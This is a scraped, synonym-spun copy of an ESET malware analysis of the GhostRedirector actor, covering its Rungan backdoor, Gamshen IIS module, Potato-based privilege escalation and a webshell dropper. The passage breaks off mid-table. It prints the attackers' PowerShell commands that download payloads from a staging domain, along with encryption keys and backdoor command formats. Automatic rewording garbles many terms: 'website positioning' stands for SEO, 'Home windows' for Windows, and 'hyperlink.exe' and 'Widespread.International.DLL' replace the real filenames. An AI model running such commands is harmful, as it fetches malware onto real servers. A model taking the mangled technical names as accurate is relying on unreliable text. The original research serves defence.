{"id":6345,"date":"2025-09-05T13:36:52","date_gmt":"2025-09-05T13:36:52","guid":{"rendered":"https:\/\/techtrendfeed.com\/?p=6345"},"modified":"2025-09-05T13:36:52","modified_gmt":"2025-09-05T13:36:52","slug":"backdoors-with-a-facet-of-potatoes","status":"publish","type":"post","link":"https:\/\/techtrendfeed.com\/?p=6345","title":{"rendered":"Backdoors with a facet of Potatoes"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>ESET researchers have recognized a brand new menace actor, whom now we have named GhostRedirector, that compromised a minimum of 65 Home windows servers primarily in Brazil, Thailand, and Vietnam. GhostRedirector used two beforehand undocumented, customized instruments: a passive C++ backdoor that we named Rungan, and a malicious Web Info Providers (IIS) module that we named Gamshen.<\/p>\n<p>Whereas Rungan has the aptitude of executing instructions on a compromised server, the aim of Gamshen is to supply website positioning fraud as-a-service, i.e., to control search engine outcomes, boosting the web page rating of a configured goal web site. Though Gamshen solely modifies the response when the request comes from Googlebot \u2013 i.e., it doesn&#8217;t serve malicious content material or in any other case have an effect on common guests of the web sites \u2013 participation within the website positioning fraud scheme can damage the compromised host web site fame by associating it with shady website positioning methods and the boosted web sites.<\/p>\n<p>Apparently, Gamshen is carried out as a local IIS module \u2013 IIS (Web Info Providers) is Microsoft\u2019s Home windows net server software program, which has a modular structure supporting two forms of extensions: native (C++ DLL) and managed (.NET meeting). There are various kinds of malware that may abuse this know-how; our 2021 white paper <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.welivesecurity.com\/2021\/08\/06\/anatomy-native-iis-malware\/\" target=\"_blank\" rel=\"noopener\">Anatomy of native IIS malware<\/a> offers a deep perception into the forms of native IIS threats and their structure. Gamshen falls below the class of a trojan with the principle aim of facilitating website positioning fraud, much like IISerpent, which we <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.welivesecurity.com\/2021\/08\/11\/iiserpent-malware-driven-seo-fraud-service\/\" target=\"_blank\" rel=\"noopener\">documented beforehand<\/a>.<\/p>\n<p>Apart from Rungan and Gamshen, GhostRedirector additionally makes use of a collection of different customized instruments, in addition to the publicly identified exploits <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/github.com\/zcgonvh\/EfsPotato\/\" target=\"_blank\" rel=\"noopener\">EfsPotato<\/a> and <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/github.com\/BeichenDream\/BadPotato\/\" target=\"_blank\" rel=\"noopener\">BadPotato<\/a>, to create a privileged consumer on the server that can be utilized to obtain and execute different malicious elements with larger privileges, or used as a fallback in case the Rungan backdoor or different malicious instruments are faraway from the compromised server. We consider with medium confidence {that a} China-aligned menace actor was behind these assaults. On this blogpost we offer perception into the GhostRedirector arsenal used to compromise its victims.<\/p>\n<blockquote>\n<p><strong>Key factors of this blogpost:<\/strong><\/p>\n<ul>\n<li>We noticed a minimum of 65 Home windows servers compromised in June 2025.<\/li>\n<li>Victims are primarily positioned in Brazil, Thailand, and Vietnam.<\/li>\n<li>Victims should not associated to at least one particular sector however to a spread equivalent to insurance coverage, healthcare, retail, transportation, know-how, and training.<\/li>\n<li>GhostRedirector has developed a brand new C++ backdoor, Rungan, able to executing instructions on the sufferer\u2019s server.<\/li>\n<li>GhostRedirector has developed a malicious native IIS module, Gamshen, that may carry out website positioning fraud; we consider its objective is to artificially promote numerous playing web sites.<\/li>\n<li>GhostRedirector depends on public exploits equivalent to BadPotato or EfsPotato for privilege escalation on compromised servers.<\/li>\n<li>Based mostly on numerous components, we conclude with medium confidence {that a} beforehand unknown, China-aligned menace actor was behind these assaults. We now have named it GhostRedirector.<\/li>\n<\/ul>\n<\/blockquote>\n<h2>Attribution<\/h2>\n<p>We haven\u2019t been capable of attribute this assault to any identified group; thus we coined the brand new identify GhostRedirector, to cluster all actions documented on this blogpost. These actions began in December of 2024, however we had been capable of uncover different associated samples that lead us consider that GhostRedirector has been lively since a minimum of August 2024.<\/p>\n<p>GhostRedirector has an arsenal that features the passive C++ backdoor Rungan, the malicious IIS trojan Gamshen, and quite a lot of different utilities. We now have clustered these instruments collectively by:<\/p>\n<ul>\n<li>their presence on the identical compromised server throughout the identical timeframe,<\/li>\n<li>a shared staging server, and<\/li>\n<li>similarities within the PDB paths of assorted GhostRedirector instruments, as defined under.<\/li>\n<\/ul>\n<p>We consider with medium confidence that GhostRedirector is a China-aligned menace actor, based mostly on the next components:<\/p>\n<ul>\n<li>a number of samples of GhostRedirector instruments have hardcoded Chinese language strings,<\/li>\n<li>a code-signing certificates issued to a Chinese language firm was used within the assault, and<\/li>\n<li>one of many passwords for GhostRedirector-created customers on the compromised server comprises the phrase <span style=\"font-family: courier new, courier, monospace;\">huang<\/span>, which is Chinese language for yellow.<\/li>\n<\/ul>\n<p>GhostRedirector isn&#8217;t the primary identified case of a China-aligned menace actor partaking in website positioning fraud by way of malicious IIS modules. Final yr, Cisco Talos revealed a blogpost a few China-aligned menace actor known as <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/blog.talosintelligence.com\/dragon-rank-seo-poisoning\/\" target=\"_blank\" rel=\"noopener\">DragonRank<\/a> that conducts website positioning fraud. There may be some overlap within the sufferer geolocation (Thailand, India, and the Netherlands) and sectors (healthcare, transportation, and IT) in each assaults. Nonetheless, it&#8217;s doubtless that these had been opportunistic assaults, exploiting as many weak servers as attainable, quite than focusing on a selected set of entities. Apart from these similarities, we don\u2019t have any purpose to consider that DragonRank and GhostRedirector are linked, so we observe these actions individually.<\/p>\n<h2>Victimology<\/h2>\n<p>Determine 1\u00a0reveals a heatmap of the affected nations, combining knowledge from two sources:<\/p>\n<ul>\n<li>ESET telemetry, the place we detected these assaults between December 2024 and April 2025, and<\/li>\n<li>our internet-wide scan from June 2025 that we ran to get a greater understanding of the size of the assault, and that allowed us to establish further victims.<\/li>\n<\/ul>\n<p>We notified all of the victims that we recognized by way of our web scan in regards to the compromise.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 1. Countries where victims were detected\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-1-countries-where-victims-were-detected.png\" alt=\"Figure 1 - Countries where victims were detected\" width=\"\" height=\"\"\/><figcaption><em>Determine 1. International locations the place victims had been detected<\/em><\/figcaption><\/figure>\n<p>With all of the collected info, we discovered that a minimum of 65 Home windows servers had been compromised worldwide. A lot of the affected servers are in Brazil, Peru, Thailand, Vietnam, and the USA. Observe that many of the compromised servers positioned within the USA seem to have been rented to corporations which might be based mostly in nations from the earlier record. We consider that GhostRedirector was extra all in favour of focusing on victims in South America and South Asia.<\/p>\n<p>Additionally, we noticed a small variety of instances in:<\/p>\n<ul>\n<li>Canada,<\/li>\n<li>Finland,<\/li>\n<li>India,<\/li>\n<li>the Netherlands,<\/li>\n<li>the Philippines, and<\/li>\n<li>Singapore.<\/li>\n<\/ul>\n<p>GhostRedirector doesn\u2019t appear to be all in favour of a specific vertical or sector; now we have seen victims in sectors equivalent to training, healthcare, insurance coverage, transportation, know-how, and retail.<\/p>\n<h2>Preliminary entry<\/h2>\n<p>Based mostly on ESET telemetry, we consider that GhostRedirector positive aspects preliminary entry to its victims by exploiting a vulnerability, in all probability an SQL Injection. Then it makes use of PowerShell to obtain numerous malicious instruments \u2013 all from the identical staging server, <span style=\"font-family: courier new, courier, monospace;\">868id[.]com<\/span>. In some instances, now we have seen the attackers leveraging a distinct <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/en.wiktionary.org\/wiki\/LOLBin\" target=\"_blank\" rel=\"noopener\">LOLBin<\/a>, CertUtil, for a similar objective.<\/p>\n<p>This conjecture is supported by our commentary that the majority unauthorized PowerShell executions originated from the binary <span style=\"font-family: courier new, courier, monospace;\">sqlserver.exe<\/span>, which holds a saved process <span style=\"font-family: courier new, courier, monospace;\">xp_cmdshell<\/span> that can be utilized to execute instructions on a machine.<\/p>\n<p>The next are examples of instructions that we detected being executed on the compromised servers:<\/p>\n<ul>\n<li><span style=\"font-family: courier new, courier, monospace;\">cmd.exe \/d \/s \/c &#8221; powershell curl\u00a0 https:\/\/xzs.868id[.]com\/EfsNetAutoUser_br.exe -OutFile C:ProgramDataEfsNetAutoUser_br.exe&#8221;<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">cmd.exe \/d \/s \/c &#8221; powershell curl\u00a0 http:\/\/xz.868id[.]com\/EfsPotato_sign.exe -OutFile C:ProgramDataEfsPotato_sign.exe&#8221;<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">cmd.exe \/d \/s \/c &#8220;powershell curl\u00a0 https:\/\/xzs.868id[.]com\/hyperlink.exe\u00a0 -OutFile C:ProgramDatalink.exe&#8221;<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">powershell\u00a0 curl\u00a0 https:\/\/xzs.868id[.]com\/iis\/br\/ManagedEngine64_v2.dll -OutFile\u00a0 C:ProgramDataMicrosoftDRMlogManagedEngine64.dll<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">powershell\u00a0 curl https:\/\/xzs.868id[.]com\/iis\/IISAgentDLL.dll -OutFile\u00a0 C:ProgramDataMicrosoftDRMlogminiscreen.dll<\/span><\/li>\n<\/ul>\n<p>We additionally encountered that GhostRedirector put in <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/gotohttp.com\/\">GoToHTTP<\/a> on the compromised net server, after downloading it from the identical staging server. GoToHTTP is a benign software that permits establishing a distant connection that may be accessed from a browser.<\/p>\n<p>GhostRedirector used the listing <span style=\"font-family: courier new, courier, monospace;\">C:ProgramData<\/span> to put in its malware, significantly for the C++ backdoor and the IIS trojan they use the listing <span style=\"font-family: courier new, courier, monospace;\">C:ProgramDataMicrosoftDRMlog<\/span>.<\/p>\n<h2>Assault overview<\/h2>\n<p>An outline of the assault is proven in Determine 2. Attackers compromise a Home windows server, obtain and execute numerous malicious instruments: a privilege escalation software, malware that drops a number of webshells, the passive C++ backdoor Rungan, or the IIS trojan Gamshen. The aim of the privilege escalation instruments is to create a privileged consumer within the Directors group, so GhostRedirector can then leverage this account to execute privileged operations, or as a fallback in case the group loses entry to the compromised server.<\/p>\n<p>\u00a0<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 2. Attack overview\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/ghostredirector-figure-2.png\" alt=\"ghostredirector-figure 2\" width=\"\" height=\"\"\/><figcaption><em>Determine 2. Assault overview<\/em><\/figcaption><\/figure>\n<h2>Pernicious Potatoes performing privilege escalation<\/h2>\n<p>As a part of its arsenal, GhostRedirector created a number of instruments that leverage the native privilege escalation (<a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/tactics\/TA0004\/\" target=\"_blank\" rel=\"noopener\">LPE<\/a>) tactic, doubtless based mostly on public EfsPotato and BadPotato exploits. Nearly the entire analyzed samples had been obfuscated with <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.eziriz.com\/dotnet_reactor.htm\" target=\"_blank\" rel=\"noopener\">.NET Reactor<\/a>, with a number of layers of obfuscation. A number of the samples had been validly signed with a code-signing certificates issued by TrustAsia RSA Code Signing CA G3, to <span style=\"font-family: courier new, courier, monospace;\">\u6df1\u5733\u5e02\u8fea\u5143\u7d20\u79d1\u6280\u6709\u9650\u516c\u53f8<\/span> (Shenzhen Diyuan Know-how Co., Ltd.), and with a thumbprint of <span style=\"font-family: courier new, courier, monospace;\">BE2AC4A5156DBD9FFA7A9F053F8FA4AF5885BE3C<\/span>.<\/p>\n<p>The primary aim of those samples was to create or modify a consumer account on the compromised server and add it to the Directors group.<\/p>\n<p>Throughout our evaluation, we extracted from the analyzed samples the next usernames that had been used within the creation of those malicious administrator customers.<\/p>\n<ul>\n<li><span style=\"font-family: courier new, courier, monospace;\">MysqlServiceEx<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">MysqlServiceEx2<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Admin<\/span><\/li>\n<\/ul>\n<p>Determine 3 reveals the decompiled code utilized by these samples to create a consumer after profitable LPE exploitation. The password has been redacted for safety functions.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 3. Portion of decompiled code that creates a new user on a victim server\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-3-portion-of-decompiled-code-that-creates-a-new-user-on-a-victim-server.png\" alt=\"Figure 3 - Portion of decompiled code that creates a new user on a victim server\" width=\"\" height=\"\"\/><figcaption><em>Determine 3. Portion of decompiled code that creates a brand new consumer on a sufferer server<\/em><\/figcaption><\/figure>\n<p>As seen in Determine 3, these privilege escalation instruments use a customized C# class named <span style=\"font-family: courier new, courier, monospace;\">CUserHelper<\/span>. This class is carried out in a DLL named <span style=\"font-family: courier new, courier, monospace;\">Widespread.International.DLL<\/span> (SHA-1: <span style=\"font-family: courier new, courier, monospace;\">049C343A9DAAF3A93756562ED73375082192F5A8<\/span>), which we named Comdai and that was embedded within the analyzed samples. We consider that Comdai was created by the identical builders as the remainder of the GhostRedirector arsenal, based mostly on the shared sample of their respective PDB paths \u2013 see the repeated <span style=\"font-family: courier new, courier, monospace;\">x5<\/span> substring as proven in Desk 1, which is shared between Rungan, Gamshen, and the privilege escalation instruments.<\/p>\n<p style=\"text-align: center;\"><em>Desk 1. PDB strings collected from GhostRedirector instruments<\/em><\/p>\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"179\"><strong>Pattern SHA1<\/strong><\/td>\n<td width=\"161\"><strong>Pattern sort<\/strong><\/td>\n<td width=\"303\"><strong>PDBs<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">049C343A9DAAF3A93756<wbr\/>562ED73375082192F5A8<\/span><\/td>\n<td width=\"161\">Comdai library<\/td>\n<td width=\"303\"><span style=\"font-family: courier new, courier, monospace;\">F:x5netToolsoMainCommon.International<wbr\/>objReleaseCommon.International.pdb<\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">28140A5A29EBA098BC62<wbr\/>15DDAC8E56EACBB29B69<\/span><\/td>\n<td width=\"161\">Rungan, C++ backdoor<\/td>\n<td width=\"303\"><span style=\"font-family: courier new, courier, monospace;\">F:x5AvoidRandomKill-main<wbr\/>x64ReleaseIISAgentDLL.pdb<\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">871A4DF66A8BAC3E640B<wbr\/>2D1C0AFC075BB3761954<\/span><\/td>\n<td width=\"161\">Gamshen, IIS trojan<\/td>\n<td width=\"303\"><span style=\"font-family: courier new, courier, monospace;\">F:x5AvoidRandomKill-main<wbr\/>ReleaseManagedEngine64.pdb<\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">371818BDC20669DF3CA4<wbr\/>4BE758200872D583A3B8<\/span><\/td>\n<td width=\"161\">Software to create a brand new consumer<\/td>\n<td width=\"303\"><span style=\"font-family: courier new, courier, monospace;\">E:x5netToolsWinSystemobj<wbr\/>Releaseuedit32_sign.pdb<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Desk 2 offers an summary of the necessary courses carried out in Comdai which might be utilized by GhostRedirector\u2019s numerous privilege escalation instruments, together with the outline of the category habits. Observe the <span style=\"font-family: courier new, courier, monospace;\">ExeHelper<\/span> class, which offers a perform to execute a file named <span style=\"font-family: courier new, courier, monospace;\">hyperlink.exe<\/span> \u2013 GhostRedirector used the identical filename to deploy the GoToHTTP software.<\/p>\n<p>Additionally be aware the backdoor-like capabilities, together with community communication, file execution, listing itemizing, and manipulating providers and Home windows registry keys. Whereas we haven\u2019t noticed these strategies being utilized by any identified GhostRedirector elements, this reveals that Comdai is a flexible software that may assist numerous levels of the assault.<\/p>\n<p style=\"text-align: center;\"><em>Desk 2. Courses carried out in Comdai<\/em><\/p>\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"132\"><strong>C# class<\/strong><\/td>\n<td width=\"510\"><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">AES<\/span><\/td>\n<td width=\"510\">Encrypts\/Decrypts AES in ECB mode.<br \/>Key: <span style=\"font-family: courier new, courier, monospace;\">030201090405060708091011121315<\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">CUserHelper<\/span><\/td>\n<td width=\"510\">Lists customers on a compromised server.<br \/>Creates a consumer with specified credentials and provides it into a bunch identify additionally specified by an argument; by default it makes use of the Directors group.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">ExeHelper<\/span><\/td>\n<td width=\"510\">Used to execute a binary named <span style=\"font-family: courier new, courier, monospace;\">hyperlink.exe<\/span>. This identify was utilized by the attackers for the GoToHTTP binary.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">HttpHelper<\/span><\/td>\n<td width=\"510\">Can carry out by way of totally different strategies, GET and POST requests, with an unknown objective, to a hardcoded URL \u2013 <span style=\"font-family: courier new, courier, monospace;\">https:\/\/www.cs01[.]store<\/span>.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">MsgData<\/span><\/td>\n<td width=\"510\">Incorporates solely attributes, utilized by the category <span style=\"font-family: courier new, courier, monospace;\">NodejsTX<\/span> to deserialize a JSON object.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">MyDll<\/span><\/td>\n<td width=\"510\">Invokes strategies from an unknown DLL named <span style=\"font-family: courier new, courier, monospace;\">MyDLL.dll<\/span>.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">NodejsTX<\/span><\/td>\n<td width=\"510\">Gives a way to speak with one other malicious part by way of pipes; the pipe is known as <span style=\"font-family: courier new, courier, monospace;\">salamander_pipe<\/span>, which might obtain parameters to create a specified consumer who&#8217;s then added to the directors group. This consumer creation is achieved by invoking a way from the <span style=\"font-family: courier new, courier, monospace;\">CUserHelper<\/span> class.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">RegeditHelper<\/span><\/td>\n<td width=\"510\">Incorporates a way for studying the worth of a specified home windows registry key.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">ScanfDirectory<\/span><\/td>\n<td width=\"510\">Incorporates strategies for itemizing the contents of a specified listing.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">ServiceHelper<\/span><\/td>\n<td width=\"510\">Incorporates strategies to restart a specified service.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">SystemHelper<\/span><\/td>\n<td width=\"510\">Incorporates strategies to execute a binary or execute instructions by way of <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/api\/system.diagnostics.processstartinfo?view=net-8.0\" target=\"_blank\" rel=\"noopener\">ProcessStartInfo<\/a> class. The binary or instructions are offered to <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/api\/system.diagnostics.processstartinfo?view=net-8.0\" target=\"_blank\" rel=\"noopener\">ProcessStartInfo<\/a> as arguments.<\/td>\n<\/tr>\n<tr>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">UserStruct<\/span><\/td>\n<td width=\"510\">Incorporates solely attributes, username \u2013 string<br \/>Teams \u2013 record<string><br \/>Attributes are utilized by class <span style=\"font-family: courier new, courier, monospace;\">CUserHelper<\/span> for itemizing customers.<\/string><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Some exceptions to the rule<\/h3>\n<p>We found a pattern (SHA-1: <span style=\"font-family: courier new, courier, monospace;\">21E877AB2430B72E3DB12881D878F78E0989BB7F<\/span>) utilizing the identical certificates, uploaded to VirusTotal in August 2024, which we consider is said to GhostRedirector\u2019s arsenal, though we didn\u2019t see it used throughout this marketing campaign. This assumption is predicated on the habits of the pattern, which tries to open a textual content file and ship its contents to a hardcoded URL. For this, the pattern comprises an embedded Comdai DLL and it invokes the Comdai C# class <span style=\"font-family: courier new, courier, monospace;\">HttpHelper<\/span>, which has a hardcoded URL that&#8217;s <span style=\"font-family: courier new, courier, monospace;\">https:\/\/www.cs01[.]store<\/span> \u2013 the identical area talked about in Desk 2.<\/p>\n<p>We additionally found some privilege escalation instruments that differ a bit from the habits talked about beforehand.<\/p>\n<p>For instance, in a single case (SHA-1: <span style=\"font-family: courier new, courier, monospace;\">5A01981D3F31AF47614E51E6C216BED70D921D60<\/span>), as an alternative of making a brand new consumer, it modifications the password of an present consumer <span style=\"font-family: courier new, courier, monospace;\">Visitor<\/span> for one hardcoded within the malware after which, utilizing the <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/blog.netwrix.com\/2023\/05\/20\/rid-hijacking\/\" target=\"_blank\" rel=\"noopener\">RID hijacking<\/a> approach, it makes an attempt so as to add this consumer to the administrator teams.<\/p>\n<p>In one other case (SHA-1: <span style=\"font-family: courier new, courier, monospace;\">9DD282184DDFA796204C1D90A46CAA117F46C8E1<\/span>), the software not solely creates a brand new administrator consumer but additionally installs a number of webshells on a selected path within the sufferer\u2019s servers, offered manually by GhostRedirector as an argument to the software.<\/p>\n<p>These webshells are embedded within the sources of the pattern in cleartext, and the names are hardcoded; the names we noticed used are:<\/p>\n<ul>\n<li><span style=\"font-family: courier new, courier, monospace;\">C1.php<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Cmd.aspx<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Error.aspx<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">K32.asxp<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">K64.aspx<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">LandGrey.asp<\/span><\/li>\n<\/ul>\n<h2><a rel=\"nofollow\" target=\"_blank\" name=\"_Toc205852299\"\/>Zunput, a web site info collector plus webshell dropper<\/h2>\n<p>One other fascinating software utilized by GhostRedirector had the filename <span style=\"font-family: courier new, courier, monospace;\">SitePuts.exe<\/span>. This pattern (SHA\u20111: <span style=\"font-family: courier new, courier, monospace;\">EE22BA5453ED577F8664CA390EB311D067E47786<\/span>), which we named Zunput, can be developed with the .NET Framework and signed with the certificates talked about above; it reads the IIS configuration system searching for configured web sites and obtains the next details about them:<\/p>\n<ul>\n<li>bodily path on the server,<\/li>\n<li>identify, and<\/li>\n<li>for every web site, the next attributes:\n<p style=\"margin-top: 1em;\"><span style=\"color: #00a0a0; font-size: 1em; vertical-align: middle;\">\u25cb<\/span> protocol<\/p>\n<p><span style=\"color: #00a0a0; vertical-align: middle;\">\u25cb<\/span> IP handle, and<\/p>\n<p><span style=\"color: #00a0a0; font-size: 1em; vertical-align: middle;\">\u25cb <\/span>hostname<\/p>\n<\/li>\n<\/ul>\n<p>As soon as the data is collected, Zunput checks for the existence of the bodily path on the server, and in addition verifies that the listing comprises a minimum of one file with the <span style=\"font-family: courier new, courier, monospace;\">.php<\/span>, .<span style=\"font-family: courier new, courier, monospace;\">aspx<\/span>, or <span style=\"font-family: courier new, courier, monospace;\">.asp<\/span> extension. This manner, Zunput solely targets lively web sites able to executing dynamic content material \u2013 solely in these directories does it then drop the embedded webshells. Webshells are embedded within the sources of the pattern and for the dates of every webshell (creation, modified, accessed), the malware makes use of the date of an present file from the listing.<\/p>\n<p>Webshells are written in ASP, PHP, and JavaScript, and the names used are chosen randomly from the next record:<\/p>\n<ul>\n<li><span style=\"font-family: courier new, courier, monospace;\">Xml<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Ajax<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Sync<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Loadapi<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Loadhelp<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Code<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Jsload<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Loadcss<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Loadjs<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Pop3<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Imap<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">Api<\/span><\/li>\n<\/ul>\n<p>Extensions used for the webshells:<\/p>\n<p>Info collected throughout Zunput execution is saved in a file named <span style=\"font-family: courier new, courier, monospace;\">log.txt<\/span> (see an instance in Determine 4) within the listing from which it was executed. This info isn\u2019t exfiltrated routinely by Zunput, however it may be obtained by the attackers by way of a number of strategies; one will be by way of the deployed webshell talked about earlier than.<\/p>\n<figure class=\"image\"><img decoding=\"async\" style=\"width: 70%; margin: 0 auto; display: block;\" title=\"Figure 4. Example of saved content of log.txt where \u5206\u5272\u7ebf machine translates to Dividing line\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-4-example-of-saved-content-of-log-txt.png\" alt=\"Figure 4 - Example of saved content of log txt\" width=\"\" height=\"\"\/><figcaption><em>Determine 4. Instance of saved content material of <\/em><span style=\"font-family: courier new, courier, monospace;\">log.txt<\/span><em> the place <\/em><span style=\"font-family: courier new, courier, monospace;\">\u5206\u5272\u7ebf<\/span><em> machine interprets to Dividing line<\/em><\/figcaption><\/figure>\n<h2>The ultimate payloads<\/h2>\n<h3>Rungan, a passive C++ backdoor<\/h3>\n<p>Rungan (SHA-1: <span style=\"font-family: courier new, courier, monospace;\">28140A5A29EBA098BC6215DDAC8E56EACBB29B69<\/span>) is a passive C\/C++ backdoor that now we have seen put in in <span style=\"font-family: courier new, courier, monospace;\">C:ProgramDataMicrosoftDRMlogminiscreen.dll<\/span>.<\/p>\n<p>This backdoor makes use of AES in CBC mode for string decryption. <span style=\"font-family: courier new, courier, monospace;\">030201090405060708090A0B0C0D0E0F<\/span>\u00a0is used for the IV and key, and based mostly on the malware\u2019s PDB path <span style=\"font-family: courier new, courier, monospace;\">F:x5AvoidRandomKill-mainx64ReleaseIISAgentDLL.pdb<\/span>, we consider that GhostRedirector reuses the AES implementation from the <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/github.com\/minhangxiaohui\/AvoidRandomKill\/blob\/main\/AvoidRandomKill\/AES.cpp\" target=\"_blank\" rel=\"noopener\">AvoidRandomKill repository<\/a>.<\/p>\n<p>The primary performance of this backdoor is to register a plaintext hardcoded URL <span style=\"font-family: courier new, courier, monospace;\">http:\/\/+:80\/v1.0\/8888\/sys.html<\/span> into the compromised server, bypassing IIS by abusing the <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/http\/http-api-start-page\" target=\"_blank\" rel=\"noopener\">HTTP Server API<\/a>. Then the backdoor waits for a request that matches that URL, then parses and executes the acquired instructions on the compromised server.<\/p>\n<p>Further URLs will be set in an optionally available configuration file named <span style=\"font-family: courier new, courier, monospace;\">C:WindowsMicrosoft.NETFramework64v2.0.507271033vbskui.dll<\/span>. Rungan will take heed to all incoming requests matching the configured patterns, and the configuration will be up to date by way of a backdoor command. To activate the backdoor, any incoming HTTP request should comprise a selected mixture of parameters and values, that are hardcoded in Rungan.<\/p>\n<p>As soon as this examine is met, Rungan makes use of the parameter <span style=\"font-family: courier new, courier, monospace;\">motion<\/span> to find out the backdoor command, and makes use of the information within the HTTP request physique because the command parameters. No encryption or encoding is used within the C&amp;C protocol. Essentially the most notable capabilities are creating a brand new consumer or executing instructions on the sufferer\u2019s server; a full record of backdoor instructions is proven in Desk 3.<\/p>\n<p style=\"text-align: center;\"><em>Desk 3.Rungan backdoors instructions<\/em><\/p>\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"104\"><strong>Parameter<\/strong><\/td>\n<td width=\"189\"><strong>Physique<\/strong><\/td>\n<td width=\"198\"><strong>Description<\/strong><\/td>\n<td width=\"151\"><strong>Response<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"104\"><span style=\"font-family: courier new, courier, monospace;\">mkuser<\/span><\/td>\n<td width=\"189\"><span style=\"font-family: courier new, courier, monospace;\">consumer=<username>&amp;pwd=<password>&amp;groupname=<groupname\/><\/password><\/username><\/span><\/td>\n<td width=\"198\">Creates the desired consumer on the compromised server utilizing the <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/lmaccess\/nf-lmaccess-netuseradd\">NetUserAdd<\/a> Home windows API.<\/td>\n<td width=\"151\">Standing code of the operation.<\/td>\n<\/tr>\n<tr>\n<td width=\"104\"><span style=\"font-family: courier new, courier, monospace;\">listfolder<\/span><\/td>\n<td width=\"189\"><span style=\"font-family: courier new, courier, monospace;\">path=<a_path\/><\/span><\/td>\n<td width=\"198\">This seems unfinished: it collects info from chosen path however doesn\u2019t exfiltrate 